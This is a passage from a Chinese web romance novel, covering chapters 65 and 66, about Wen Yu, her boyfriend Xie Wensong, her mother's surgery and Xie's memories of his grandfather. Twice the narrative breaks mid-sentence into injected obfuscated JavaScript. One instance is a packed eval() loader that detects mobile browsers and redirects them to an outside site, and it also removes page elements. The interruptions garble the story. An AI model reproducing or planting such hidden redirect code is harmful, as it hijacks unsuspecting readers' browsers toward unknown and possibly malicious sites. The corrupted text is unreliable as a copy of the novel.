他搭在被边的手指在布面上抓出几道痕迹,谢闻颂看向床头柜上温遇精心挑选的小台灯,想起她送给自己的生日礼物,眼神蓦地放软。 他没直接说,想了会儿才开口:“温鱼鱼,你有没有听过一句话。” “什么。” “喜欢这条路,有毅力的人可以走很久。” 温遇眨眨眼:“谁说的?” “我说的。” “……” 温遇绷着的肩膀一下子松下劲来,手臂挡在眼前,“我要睡觉了。” “行,睡吧。”谢闻颂不多赘述,伸手熄掉台灯,躺进自己那边的被窝里。 明明他们盖的是两条被子,温遇却觉得仿佛能触碰到对方的体温一样,从脚趾尖往上蔓延热度。 黑暗会放大身体的局部感官对外界的感知,温遇拨开堆在脖子上缠绕的头发,下意识往里转身。 谢闻颂从刚才躺下时就是面对她的状态,他此时已经合上眼,手腕刚巧搭在温遇刚比量好的“楚河汉界”上,指尖松散虚握。 温遇也不知道他睡着了没,呼吸都放轻了些,眼神一眨不眨注视着旁边人的脸。 突然明白电视剧里那些趁人睡觉偷吻的人是什么心情了。 黑暗里其实看得不太清,温遇往他那边凑近了点,努力把动作放缩到最小。 在脸上逡巡了一圈,温遇又顺着谢闻颂的脖子往下看,他的睡衣看上去相当柔软服帖,温遇做贼似的伸手捏捏他的袖口,指腹间小幅度搓搓,似是在感觉这是什么材质。 好像是纯棉的吧。 应该是纯棉的吧。 温遇正专注捏他袖口,像个小孩似的不亦乐乎,结果悄悄作乱的手突然被人扣在掌心,对方的手指很顺利地就从她的指缝空隙穿过去,熟练地十指相扣。 “你没睡啊。” 在温遇心跳骤然加快的时刻里,她看见谢闻颂睁开双眼,一点刚醒后的朦胧都没有,很显然一直处于清醒状态。 “我也没说我睡了。” 温遇刚想反驳“我也没说”,才想起刚才重新埋进被窝里时,自己丢下的那一句“我睡觉了”。 “……” 一天怎么会嘴快两次。 温鱼鱼你没救了。 果然,谢闻颂明显也记着,笑容不加掩饰:“你不是说你要睡了吗?” “我没睡着。”温遇开始给自己找借口。 “那需不需要我讲点睡前故事给你听?” 温遇来了点兴趣:“你会吗?” “不太会。” “……” 温遇想挣开手,谢闻颂没给她机会,肩膀在黑暗中轻微抖动,他笑着哄:“别生气。” “不过我可以给你讲我小时候的事。” 温遇在这方面的知识储备的确空白,兴趣是最好的老师,她甚至连自己握紧了谢闻颂的手都没发觉,鼻尖快和他的碰上,好奇发问:“什么什么?” “你小时候抓周抓过我的手。” “…………” 温遇努力平心静气喊他的名字:“谢闻颂。” 某人已经自动伸手给她头顶顺毛,丝毫没有意识到危险的靠近:“在。” “睡眠和长眠,你分得清吗?” 温鱼鱼冷飕飕的一句话直接给谢闻颂整沉默了,刚还胡撸兔子毛的手也不知道在什么时候给收回去,颇有些“知难而退”的意味。 “不逗你了。”谢闻颂弯弯唇角,“下次有机会,一定给你讲。” “都说骗人是小狗。”温遇抬手去捏他身上的痒痒肉,“你都小狗多少次了。” 也许是困意这个时候终于涌上来一点,温遇没忍住开始打哈欠,说话的语调里都蒙上一层很浅的撒娇意味。 “答应你,下次。” 谢闻颂勾住她的小拇指,大拇指找准她的盖个戳,“好了。” “幼不幼稚。”温遇笑着推远他凑过来的脑袋,“这恋爱怎么越谈越小孩,真受不了。” 上次非要拉勾才肯走,这次又偷偷摸摸给她盖戳。 黑暗空间仿佛有只手在操控,不断降低音量键,谢闻颂还没松开她的手,指腹还维持着刚才盖戳的状态,温遇已经半踏入梦乡。 指纹也不知在黑暗中默默摩擦了几个回合。 某人又偷偷多蹭几下。 温遇没感觉,任由他拉着。 也是在这几乎没有音量的空间里,隐形的音波图突然间有了显示。 他说。 “喜欢这件事其实有点辛苦,还好我的毅力还算不错。” - 天气迅速回暖,温遇仿佛刚摸到春天的尾巴,夏天的阳光就已经烫到脸上了。 气温回升,温遇和谢闻颂仍旧保持着一人一半床的原则继续生活。无形的默契在这时候又涌上来,两个人谁也没提分开睡这件事。 于是某天温遇突然发现,自己这儿的东西越来越多,隔壁的房子却越来越空。 那是一种很奇妙的感觉,有种意料之外的充实感,温遇一点也不反感,反而她回顾这段时间和谢闻颂待在一起的日子,她每晚都不需要再亮着灯睡。 不管是他的气息,还是他的体温熨热旁边的位置,都已经很熟悉融进她呼吸的空气里,融合成她习惯且依赖的一部分。 原来她也并不是不想让人陪。 夏天来得特别快,温遇包里已经被谢闻颂放上了遮阳伞,虽然每天上下班都有车搭,不过偶尔她还得跑外场。 谢闻颂记着这件事,连防晒霜等一系列护肤用品也准备齐全,瞬间填满了温遇原来买的塑料架。 大大小小的快递堆到家门口,温遇一个个拆开,她盯着多出来的瓶瓶罐罐开始默默思考,在想要不还是换一个大一点的收纳柜,于是想着等周末去商场重新挑一个。 大数据精准推流,温遇刚点开某宝,首页就给她推送透明展示架的链接,她上下滑动刚看了几个,上方弹出程以桉的消息。 【温温。】 【阿姨怎么了?】 【我来医院给我爸取药,看见叔叔问了句,他说阿姨正在做手术?】 温遇正在等车,眼神扫到这几条,手指尖有些僵硬。 吹到她身上的风一点凉感也没有,温遇却仿佛又走在了冬天的游乐场里。 她要等的车已经停站,然后开走。 温遇站在原位置没有动。 小鱼丸了:在哪个医院? - 温遇到医院门口给温成钢拨的电话,对方挺意外是她,在那头愣了几秒才说马上下楼。 温遇跟着他,一路上病房都没说话,甚至连徐翩禾为什么入院手术都没问。 温遇从外面推开病房,正吃饭的徐翩禾看见她,眼神并不意外,挽起抹笑:“温温,你来了。” 温遇知道是刚才打电话之后两个人就已经通过气了。 她把从精品超市买的水果放在小桌上:“妈,身体怎么了?” 徐翩禾好久没见她了,见女儿主动开口,她的精神也比刚进来那会儿好很多,哎呀一声:“没什么事,就是乳腺长了个结节。” “那手术——”温遇后半句没说完,女人已经接上话:“挺成功的,休养几天看看就能回家了。” 徐翩禾答完一大堆话,把温遇没有问的那些也都说完这才停。只是这些话说完,她不像刚才的从善如流,显得很犹豫。 温遇低头,拿起水果刀削苹果:“小途呢?” “在家,你爸爸会定时和阿姨视频,看小途的情况。”徐翩禾看了她一眼,“你别担心。” 温遇只是嗯了下,继续埋头削苹果,切成小块放进塑料碗里,顺手把苹果核扔到旁边的垃圾桶。 她把切好的苹果递给徐翩禾,对方接过,最后还是把没说出来的话问出来:“那你呢?你最近怎么样?” “挺好的。”温遇在她病号服下包裹伤口的位置看了眼:“还疼吗?” 徐翩禾眼睛弯起:“不疼了。” 她插起一块苹果放进嘴里,脸上有幸福展现:“吃了苹果就更不疼了。” 温遇笑得很轻,“那挺好的。” 空间一瞬间又安静下来,好像她们母女两个人的话全部都已经说完。 只够说削一个苹果的时间。 温成钢出去抽烟了,病房内只有她们。 “事情解决了吗?” 温遇突然问起这事,徐翩禾脸上的表情微微凝固:“解决了。” “怎么解决的?” 话问到这,徐翩禾猜到温遇估计已经知道他们去找过谢闻颂的事,叹了口气:“我和你爸爸去找的小颂,打了欠条。” 温遇看向被罩上交错纵横的折痕,辨不清情绪的眼底实则情绪来回滚动浓烈。 她已经很久很久没有这么压抑的时候了。 和谢闻颂在一起的这段太美好的日子里,也总让她遗忘自己身上缺少的那部分东西,并非不需要弥合。那个很疼很疼的位置,其实是需要她自己和自己作斗争,把伤口剜干净,彻底消毒清洗,然后等时间愈合。 可她总希望敷上药,第二天就能好。 温遇垂着眼,声音很轻。 “妈,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他好像一直在告诉我,我有多好多好,而不是他对我有多好。” 温遇稍顿:“我比之前幸福很多。” 她也知道,谢闻颂能做到今天的地步,最开始一定不是奔着要实现自己的圆满而来。他是真的很在乎她,爱情那么飘渺不好抓住的东西,他向来都会直接放在她手心,不会说多余的话,尊重她的所有想法和判断。 在她起念头否认自己的瞬间,好像都会被他唤醒,他说,温鱼鱼,你要好好看看自己。 再坚强的公主也会有摇摆不定面临抉择的时候,温遇从不否认自己的有限性,还好在这些时刻,谢闻颂都在。 他其实不是在她最需要的时刻出现,而是他一直在她身边,那些公主独自披荆斩棘的日子,他也始终未曾离开她半步。 他见证她的成长,心疼她吞咽的苦涩,未曾刻意遮挡那些淋在她身上的雨雪。 因为谢闻颂知道,公主要先成为最好的自己。 他花尽心思,只为了做最了解她的人。 徐翩禾又说了句对不起。 温遇摇头,继而提起往事:“小途第一次去游泳馆的时候,那天我一个人在泳池呛了很大一口水,我慌张去找你们,发现你们都在陪小途。” “小途生病,你们分给他多一些的爱和关心很正常,我只是想要我的那一份就可以,不用很大,但求用心。” 她仰起脸:“或许从那个时候起,我就不需要那句对不起了。” 温遇拿好自己的包,脸上仍旧维持那抹很浅的笑容,仿佛在感慨好不容易才到来的夏天:“妈,你和爸,还有小途,要开心生活。” “我也是。” 四个人分两句话说,徐翩禾愣神望向她,思绪突然横生些难以言喻的空白,似乎有什么很重要的东西在掌心迅速流走。 …… 温遇一个人站在电梯内,刚回复程以桉一句话。下一刻,还在下行的电梯突然停住不动。 温遇起初没注意到异常,直至她听见金属摩擦刺耳的声响,电梯不再以熟悉的速度下坠,强烈的失重感带起她高度紧绷的神经。 她很快反应过来,通过降低全身重心来保持身体稳定,温遇立刻摁下紧急按钮,瞥见按钮旁边还有电话。 所幸楼层不高,电梯下到地下停车场时,电梯内部几乎没有挤压形成的破损。 温遇呼出一口气,掏出手机拨打电话。 可能刚到停车场,信号还维持刚才的满格,电话接通,温遇扼要说明情况,对方告诉她请等待救援。 刚用一根细线吊起来的心脏重新落回地面,电梯头顶的灯暗了一半。不久,手机信号迅速下降到只有一格,温遇想起刚才和妈妈的对话,手指点开她们并不算多的聊天记录。 相比某短视频平台女儿分享和妈妈的碎碎念,她们之间的交流稀疏且简单。 可也正是这些看上去一点儿也不想母女的聊天记录,让温遇的眼眶越来越湿。 其实温途出生后,她和父母也有很多很多温馨的时刻。 比如她第一次生理期时,徐翩禾给她买卫生棉,一步步教她要怎么使用,说她要成为大姑娘了。 比如他们一起去野餐,徐翩禾把最大最红的草莓全都塞进她手里,说一颗都别给你爸爸留。 比如她去余杭读大学的前一晚,徐翩禾三次悄悄溜进她卧室,看她有没有睡不着。 其实这些她都知道。 她对幸福和痛苦的感知从来对等,这样好坏交织的经历有时候更像是种说不清的折磨,让她逐渐消失对家庭的渴望。 温遇已经不再流泪,手机信号几乎已经没显示了,她拨个视频电话给徐翩禾。 没有信号自然拨不出去,温遇知道,所以才这样做。 对方接不接通,其实她根本不在意。 只是没想到徐翩禾的来电铃声是《萱草花》。 高高的青山上萱草花开放。 采一朵送给我小小的姑娘。 把它别在你的发梢,捧在我心上。 陪着你长大了再看你做新娘。 …… 让它开遍我等着你回家的路上。 好像我从不曾离开你的身旁。 视频拨出去未接就会被自动挂断,温遇不厌其烦地继续拨,来来回回把这首歌听了很多遍。 之前的聊天记录被一行行的红色感叹号顶到最上面。 还真是奇怪,她那么久那么久都没有想通的事,竟然某天被困在电梯里的时候想明白了。 顺利得有种出乎意料。 温遇靠在冰冷的电梯里,闭了闭眼。 在想今天晚上,可能会做个好梦吧。 如果可以,她还想抱一下谢闻颂。 她有点想他。 65.荔枝 65/ 温遇从电梯里出来以后给程以桉回了消息,对方发了一连串消息,问她人怎么聊着聊着就消失了。 她说是因为电梯临时出现故障,所以手机一直没信号。 等消息的程以桉看见这条在那头吓一跳,连忙问她有没有事。 温遇表示自己安全,说正打算打车回家。 到家没多长时间,温遇听见了雨水滴在玻璃上的声音,她打开窗户,湿漉漉的潮气混着风直扑到脸上,劲有点大。 怕往室内潲雨,温遇一一检查家里的窗户,拎了条毯子窝在沙发里看电视。 其实心思没多少在电视上,温遇纯粹是让屋里有点声响,不至于让自己的呼吸太落单。 手机被压在毯子下面,她看了会儿电视才想起来这茬,翻出来的时候显示谢闻颂给她拨了电话。 手指刚触到屏幕上,温遇听见轰隆一声雷响,她坐在客厅,可以看到卧室窗户上越来越密的雨线。 又到了一年四季中最爱下雨的季节。 …… 谢闻颂从环想离开的时候给温遇拨个电话,一开始没打通,过了几分钟手机响起来,提示温遇正在给他回拨。 谢闻颂接通,问她下没下班,要不要一起在外面吃一点。 她说她在家还不太饿,谢闻颂想着她回家饿了再说,又说几句便挂掉。 他总觉得有哪里不太对劲,可温遇说话的语气又没什么明显的波动。 谢闻颂一个人在车里坐了会儿,没急着开火,从通讯录里找到程以灏,要来程以桉的电话号码。 程以灏一开始还挺懵,试探性问谢闻颂目的。 他说是因为温遇的事才需要问她,程以灏想到这层,把妹妹的电话给了他。 谢闻颂静静往窗外看。 绯红的晚霞在天边卷起边儿,和云浪纠缠成脸红的颜色,天空云层灰厚,倒显得一条线的晚霞像渺茫希望中出现的曙光。 通话时间不长,了解大致的情况以后,谢闻颂随手把手机搁到储物格里,开车回蓝湾。 半路就下起雨,谢闻颂堵在路上。 车窗玻璃开始起雾,等红灯变绿的时间,他孩子气地在车窗玻璃上写温遇的名字。 只不过刚开始写第二个字时,第一个字就开始变得模糊,所以她总是要来回在旧印记上反复拓很多遍。 尾灯在雨雾里摇晃成晕人眼的霓虹,车载音乐不知何时响起熟悉的前奏,谢闻颂扫了眼歌名,抬手把《一路向北》设成单曲循环。 余光瞥见储物格里的手机亮起屏幕,谢闻颂伸手拿过来,发现是徐翩禾给他发的消息。 内容字数不多,谢闻颂却读了很多遍。 后面有车在鸣铃,他这才熄掉手机,重新把注意力放到驾驶上。 后半程没再堵车,谢闻颂一路上楼,没有先回温遇那儿,而是先去的隔壁。 他直接走进书房,从抽屉里拿出最上面的文件夹,抽出那张带有红手印的欠条,纸张边缘的浅浅掐痕还在,他指腹贴上去时使了点力气,将纸撕成碎片,扔进旁边的垃圾桶里。 将门重新关好,谢闻颂走到对面,手在指纹识别区贴上。 他当时从里面删掉自己的指纹,其实也没太想到又一年的夏天,指纹重新被温遇录进去。 他也真的有一种,和她相恋的实感。 这样的感觉其实不是偶尔触发的那一两句情话。 是那些融入日常看似不太会注意的细节。 背靠背互相倚着的牙刷,回家时码放整齐的两双拖鞋,电子锁里存在一起的指纹,马克杯上唇印交叠的部分,核桃定期换新的手工编织脖套,每周日她固定分享的白桃星座,叮嘱他这周要注意保护身体的某个地方,会为温遇听到一首歌随口的一句“想去台北”而动容。 想到这里,谢闻颂又没忍住偷偷弯起唇角。 进门照旧的一句“我回来了”,温遇似乎有些犯困,看见他时揉着眼睛,回应他刚才的话:“你回来了。” 身上沾了潮气,谢闻颂从不穿外衣坐她的沙发。 火速去换了套衣服,谢闻颂挨着她坐,温遇顺势将头搭在他肩膀上问,“你吃饭了吗?” 谢闻颂抿嘴:“还没。” “你想吃什么?我去做一点。”温遇手已经放在毛毯边,就要去厨房,谢闻颂拉住她的手:“不急,今天想和你说说话。” 温遇噢了声,伸手挠他的下巴,拿出自己摸小猫的习惯用在他身上:“昨天晚上没聊吗?” “噢。”她反应了会,“好像是没聊。” 想到什么,她微微错开眼神,没再继续往下说。 知道实情的谢闻颂笑得不怀好意:“嗯,没聊,但是亲了。” “……” 温遇虽然选择没听见,但思绪却不听话,神游到昨晚亲得迷迷糊糊的他们。 谢闻颂没继续点破,因为他还有别的话想说。 “今天怎么回来得这么早?” “我去看我妈了,她最近做手术。” 谢闻颂缓了缓,说:“徐姨刚才给我转了一笔钱。” 温遇看向他,后者补充道:“之前的那笔,还清了。” 温遇听他把话说完,掩饰性地低头,正当谢闻颂以为她打算就此沉默时,温遇叹了口气。 心情像交缠在一起的毛线团,温遇抬头看他,也不知道要说些什么。 于是又把头低回去。 谢闻颂没再继续聊这个话题,手指隔着刘海摸她的头:“那电梯出事,没打算告诉我?” 温遇先是抬头看了他一眼,把那句“你怎么知道”给憋了回去。 这人看似不在她身边,却对她身上发生什么了如指掌,只要他想,他就能知道。 温遇笑着看他,语气轻松:“诶,不会是刚才打电话的时候暴露了吧,我还以为我表现得挺冷静的呢。” 谢闻颂只是盯着她,似乎并不打算对她这句玩笑加以评价。 温遇见他换上一副“认真脸”,弯起的唇角逐渐抿直,尝试着回忆当时的心情。 “其实刚开始的时候确实有点害怕。”她勾着谢闻颂的手指玩,“那一瞬间感觉把最好的结果和最坏的结果都想了个遍。” “现在想想也挺后怕的。” 温遇看他还没什么表情,拎起他的一只手做了个招财猫向前伸爪的动作强迫他卖萌,女孩自娱自乐笑出声:“生气啦?” “没。”谢闻颂任由她带着自己手做动作,在她松开自己手腕时单手把她抱在怀里,掌心一下下轻拍温遇的肩头。 谢闻颂懒懒垂头,鼻梁抵在她肩膀,眉骨到鼻尖的弧度刚好与之契合,他耐心在上面磨了磨,轻蹭的动作像小动物生性自带的依赖。 “就是觉得,是不是让你成长过头了,以至于你已经劝说自己遇到害怕的事也要深藏起来,不让人发现。” “我总是希望你能多把一些平时不常见的情绪抛给我,比如生气、愤怒、忧郁之类的。好像这样,我也能帮你分担一部分压力,却总是忘记你已经习惯独自消化。” “我不会怪你没和我说,我只是会想我自己要在你身边,哪怕我的存在和你的影子重叠。” “哪怕。”谢闻颂顿住又说,“你并不需要。” 温遇没想到他这么说,手指无意识收拢:“你已经在了。” “什么?” “你听过那句‘被你改变的我,会替代你陪在我身边’那句话吗?” 温遇斟酌道:“我现在在电梯里会想,如果是你,会怎么办?等待救援时会不会无聊到把整个电梯的体积都算一遍?还是计算空间里的氧气够呼吸多长时间?很神奇,一想到这些,我很快就平静下来了。” “好像人在高度紧张的时候大脑都会一片空白。” “但在落地的那一刻,我最先想到的人,是你。” 温遇的胳膊攀上他后背,四指弯曲勾住他肩:“如果是以前的我遇到这种事,思绪不知道都会跑到哪里,也许不会想任何人,就那么空落落地等人来救援。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986040|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “以前觉得说爱太过飘渺,直到和它捆绑的‘想念’出现。”温遇放轻语气,“谢闻颂,你知道吗?” “你站在我面前,我也会想你。” “它很重,也很实,它像一颗从青涩长到快爆浆的果实,它为爱勾出了轮廓,让我真正看清爱情的样子。” 温遇隔着薄薄的衣料,感受到他鼻息猝然加重,伸出另一条胳膊,共同勾住他的脖子。 “我今天其实在电梯里就想这么做了。”温遇放心嗅着他身上的淡香,语气有点委屈,“可惜你不在。” 谢闻颂弯唇,抵在她肩膀笑出声:“怎么,还挺遗憾?” “当然遗憾。”温遇很快接话,“这种人生可能就经历一次的事,总想拉个人一起体验体验才不算白经历。” 说完她补充:“当然,是在安全的前提下。” “这种两个人关在一个小空间,不用去电梯我们也能体验,比如——”谢闻颂在她耳边说了三个字,下一秒感觉后背被人重锤两下,差点没给他骨头敲分叉。 赶在温遇的“生气”二字脱口而出时,谢闻颂抢先扼住:“今晚给你讲睡前故事。” “还记得上次我答应你的吗?” 温鱼鱼感觉自己被拿捏了。 但谁让她太好奇了。 - 在谢闻颂的记忆里,谢怀崇在外面住着一个自己包下来打理的小院子,有耐心去侍弄一些花花草草,只不过因为工作原因,很多时候其实就是外婆在照顾。 谢闻颂第一次被妈妈领着来这,就不小心摔掉一盆花。 周围所有人都说没事,只有祖父脸色凝重,谢闻颂第二天还特地和爸爸妈妈跑了趟花卉市场,想要尽可能弥补错误,可还是没找到那盆花。 他耷拉着脑袋回来,发现昨天的那株花已经新换了一个花盆。 还好植物本身没受什么损害。 谢闻颂怯怯地凑到祖父身边,很小声地说对不起,对方摸摸他的头,什么也没说。 他把自己刚才去花卉市场的事和祖父说了,结果谢怀崇听到这没忍住哈哈大笑起来。 谢闻颂很少见到祖父笑成这样,疑惑地看着他。 他解释说这是一种中药,普通的花卉市场里当然没有卖的了。 谢闻颂用目光打量这棵和他有着浅浅缘分的植物,伸出手指尖和叶子尖轻触,还没等想象中的共鸣涌上心头,转眼间祖父又搬来一盆含羞草,说你共鸣错人了,这样碰它才有用。 温遇听到这,揉着眼睛笑出声:“原来你小时候这么怕祖父啊。” “是有点。”谢闻颂听出她逐渐平稳的呼吸和语气中盖不住的困倦,在想她应该快睡着了,便也堪堪只讲到这里。 后面的发展,似乎不太适合当睡前故事讲。 “后来,就不怕了。” 黑暗里只有谢闻颂一个人说话的声音,温遇朦朦胧胧似乎听见这一句,下意识嗯了声。 谢闻颂攥紧手机上的塑料挂坠,棱角嵌入掌心。 没什么是时间不可弥合跨越的。 如果还没翻过这一座山,那就等时间再走得久一点。 / 祖母过世后,那些花没人有时间打理,最后都被人搬了出去。 这一幕谢闻颂其实见到过,也见到坐在庭院里望向天空的老人。 和之前在医院看见的祖父不同,此刻没有象征着身份的白大褂,退去所有标签,谢闻颂忽然意识到再厉害的人也会有很无力的时刻。 祖父一向沉默,家庭聚会中也鲜少开口,只是配合大家情绪笑一笑,然后端着自己的小瓷杯一口口抿茶。好像只有在医院里才会说得特别多,对自己的学生,对自己负责的病患。 谢闻颂印象里,没怎么见过谢怀崇拿出长辈的姿态来压人,他的关心和爱太过沉默,以至于去世之后的遗体,也早就在之前就签好同意书,捐给南大的医学院用于相关研究。 至此,所有表面的沉默凝成一颗巨石,向下坠向水面,掀起惊涛骇浪。 66.荔枝 66/ 谢家到谢怀崇刚出生那一代,家里还没有什么明显的起色,后来谢景舟出生,谢怀崇因为工作原因,几乎在同时被外省的医院调到南川工作。 家里还有个孩子需要照顾,两家的父母都离南川很远,赶不过来。作为妻子,魏雅娴也不得不暂时辞掉工作,和谢怀崇一起来到南川。 医院当时分给谢怀崇一套一居室,地点距离医院只用过两个红绿灯。 事情不会十全十美,当时的老楼普遍隔音都比较差,邻里关系因为门口空间的分歧而紧张,铁门外路过时拖鞋和水泥地的摩擦声都清晰可闻,他们半夜睡觉时常被惊醒。 谢怀崇专业能力强,工作勤恳,升职的速度并不算慢,不足十年,一家三口从老楼搬出来换了新位置住。 那时候为了攒钱,魏雅娴重拾起做手工的活,给人家绣十字绣,因为赶时间经常夜里也不休息,后来眼睛出了些问题,好在加上家里的钱已经够用,谢怀崇劝她快点停了这累人的活。 生活逐渐有了起色,家里不再像以前过得紧巴巴。日子像流水一样的过,谢景舟顺利毕业以后,如愿从事相关科学研究工作,与同为研究员的乔若琳相识相爱。 谢闻颂怀在乔若琳肚子里时,谢怀崇和儿子谈,说你们夫妻工作那么忙,小孩他们帮忙照顾着可以,但是孩子不能没有父母陪伴的童年。 谢景舟想想也觉得对,连夜和妻子商量,还是得给孩子一个比较圆满的童年。 这也是谢闻颂上小学以前,父母基本每天都要抽出一部分时间陪他的原因。 乔若琳也不知道孩子是天生不太爱粘着父母的性格,还是太过懂事从来不说,每次因为不得已的事错过和他的约定,谢闻颂都说没什么。 一点情绪也没有,安静到不符合这个年纪孩子的普遍状态。 她只是觉得那么小的小孩,应该也成熟不到能完全掩盖掉情绪。 不过她的担心逐渐被过滤,想起谢闻颂还有温遇这个玩伴,那小姑娘性格阳光热烈,像个移动的小太阳,几个在一起玩的孩子也属她最热闹。 经常会带着不怎么说话的谢闻颂一起。 磁场的互相感染,乔若琳觉得自家儿子如果总是和温遇待在一起,应该也会有所改变。 而且小孩子一天一个样,她的担心或许并不成问题,便也慢慢放下。 谢闻颂上初中以后,夫妻俩工作逐渐恢复到和以前一样的节奏,回家的时间越来越少,频率越来越低,手机里积攒的信息越来越多,谢闻颂来来回回看得越来越频繁。 在谢闻颂年纪还小时,受知识和阅历的限制,就算再能装成小大人,也注定还只是个孩子,或许他自己也发现这点,于是大部分时间都在自处,和同龄人的关系并不密切。 不过对于当时大部分同龄的孩子来说,因为不了解,所以也自然没人看出他身上的“异常”。 温遇是第一个发现他“装老成”这件事的。 也是第一个伸手去戳他脸的人。 她说:“谢闻颂你能不能别老面瘫一张脸,我今天去学校,我朋友问我怎么把仇人带来了。” “还问我是不是欠你钱。” “……” 谢闻颂任由她左一下右一下戳自己的脸,目光寸寸往她不自觉上扬的唇角挪。 “这次又是你无中生友?” 温遇无奈叹口气,单手叉腰:“这是重点吗?谢闻颂?” “你之前还说家长问你以后的事,你也不知道。那你是不是也忘记自己现在就是这么大的小孩,老装什么大人?” “和我一起当个小朋友不好吗?”温遇赶紧嘬了口已经化到手上的雪糕,用肩膀碰了下谢闻颂的胳膊:“珍惜点,以后就当不上小朋友了。” 他伸出手,女孩柔顺的头发从他指尖划过,谢闻颂感觉像摸到兔子尾巴一样毛茸茸的触感:“你还说我老装大人,你这话一点也不像小孩。” “我怎么不像小孩了?”温遇赶紧三两下解决雪糕,接过他递来的湿纸巾擦手:“我比你更像小孩。” 夏风炽热,白色棉质的裙角吹斜着,出现在他的视线里。 谢闻颂想起什么而弯起眼睛:“也是,我是你哥哥,你是我妹妹,你比我像小孩也对。” 温遇没立刻回话,只是若有所思看向他:“我好像只有弟弟。” “谁说只有存在血缘关系才能喊哥哥?” 天气太热,温遇的头帘都被汗湿几绺,小姑娘眨巴着水灵的葡萄眼,眼里的天真懵懂做不得任何假。 谢闻颂心头似乎有什么在轻轻掀动,结果下一秒听见她说:“那把你当哥哥,有什么好处吗?” 温遇走累了就找一处木椅坐着,裙下的两条腿晃晃悠悠,她用手在脸颊旁边扇风,机灵鬼似的转转眼珠,指了下旁边的小卖部,咕哝着:“那就先试探一下。” 温遇仰头,“哥,我想吃雪糕。” “…………” 原来是这么试探的吗? 她刚才的意思还是没有血缘关系就不能喊哥。 结果想到没准有好处,倒是没有一点犹豫喊他哥。 谢闻颂认命般在她面前蹲下:“想吃什么味的?” 温遇咂咂嘴开始思考:“蓝莓的我也想吃,酸奶的好像也不错……” “只能吃一根,你刚吃过一根。” 小姑娘表情皱在一起,看上去相当纠结:“那就酸奶的吧。” “行。”谢闻颂走前撂下一句话:“就在这等我。” 很快他便提着一个透明塑料袋回来,温遇坐在树荫下,晒得整个人都发蔫起来,像株没有养分的苗。 谢闻颂把酸奶味的雪糕递给温遇,塑料袋里明显还有好几根,女孩透过空隙往袋子里看,眼睛都亮了,藏不住心事:“你还买了这么多!” 谢闻颂换了个手提着塑料袋,“你就叫了一声,所以只有这一根。” 温遇领悟力超强,立刻get到了某人的意思,转着圈儿地喊他哥,结果谢闻颂只是提着塑料袋轻轻贴在她的脸上。 好几根雪糕还未消散的冷气隔着层塑料袋递过来,温遇刚想伸手去碰,已经被有准备的谢闻颂捉弄似的挪开。 “如果我说好处就这一根。”谢闻颂故意逗她:“你会生气吗?” 温遇摇头:“不会啊。” 她朝谢闻颂眨眼:“你已经通过了我的试探。我发现,当你的妹妹,好像好处挺多的。” “舍弃小雪糕,后面还有大奖励。” “我不亏呀。” 谢闻颂没想到她是这么想的,一贯没什么情绪的眼底也幻化出哭笑不得来:“你这么容易就能被满足吗?一根雪糕就收买你。” 温遇皱眉,明显对他这话意见很大:“这不是出于对你人品的考虑吗?” “是因为相信你,所以一根雪糕才好使,你不可能辜负我这份信任啊。” “哥——哥——” 作为独生子的谢闻颂第一次被人这么近距离地喊哥哥,脸色在暑气的熨蒸里越来越红。 哥哥应该保护妹妹的。 刚才她说以后当不上小朋友了。 其实。 如果她想一直当小朋友的话,也不是不可以。 …… 随着年纪的增大,也许是因为心中不可名状的羞耻感,温遇喊他哥的时候越来越少,只会放软一些语气喊他的全名。 谢闻颂自然也发现这点,虽然对于她不怎么叫哥有些遗憾,不过也没在意太多,自然也没有去问她为什么。 反正当时也只是逗她而已。 中考结束的那个夏天,他和温遇一起去邻省看演唱会。 谢闻颂一向对这种事没什么特别的感觉,只是因为温遇喜欢,他就陪她去。 让温遇顶着燥热的天气,贴着冰凉贴也要出来看的演唱会,谢闻颂也有些好奇。 他平时听歌听得少,演唱会上大家耳熟能详的歌他却一首也不会。 周围人都在大合唱的时候他在看温遇,她喝水也不忘记摇荧光棒的时候,他还在看她。 温遇唱着唱着眼泪流下来,见一旁的谢闻颂没什么反应,问他怎么跟个木头似的,他说他不会唱。 女孩被他逗笑,边擦眼泪边说他傻:“有些歌听的是氛围感,音乐是能传递很多语言不能表达的东西,不会唱也不影响感受。” “正视自己最真实的情感,我不信你没一点感觉。” 天色逐渐昏暗,谢闻颂看见台上的歌手卖力和台下互动,休息间隙聊起最近的生活,为大家献上祝福。然后紧接着继续下一首歌,明明都是他没听过的,心里却扬起一种无法形容的情绪。 歌词飞速闪过一句“妈妈”,谢闻颂敏锐捕捉到,一直抬起的头忽然低了下去,周围的嘈杂声仿佛在一瞬间静音,纷纷折成纸飞机里,“咻”地一下从他耳边飞过去。 温遇沉浸在自己的音乐世界里,没注意谢闻颂已经默默拿出手机,点进和乔若琳的对话框,打下“妈妈”两个字。 后面其实还有三个字,只不过他没打出来,等对方看见已经是第二天的事了,妈妈问他是不是有什么事,他说没有。 谢闻颂不会告诉妈妈昨晚自己偷偷搜了这首歌,戴着耳机听了一夜,还流了眼泪这种事。 他用一部分暑假的时间尝试着写了一段旋律,一颗很小很小的种子在内心发芽。 却没有养成一棵树。 兴趣和梦想是不一样的东西。 梦想和实际又是两个不一样的东西。 这也是他跟着祖父学到的道理。 …… 谢闻颂在最后一次跟着祖父去医院时,那会儿他刚上高中,赶上一位叔叔来就诊。 他之所以对这个人有印象,一是因为他穿了很多的衣服,下身的裤子过分宽松;二是他主动和自己搭话,问他要不要吃雪饼,他手提包里还有几个。 谢闻颂摇头,注意到男人脸上朴实腼腆的笑,被他拒绝之后,他坐在铺平的病床上,神游似的望向窗外。 男人的家属还没来,谢闻颂想了想还是没立刻离开,坐在床对侧的椅子上,默默收起作业本。 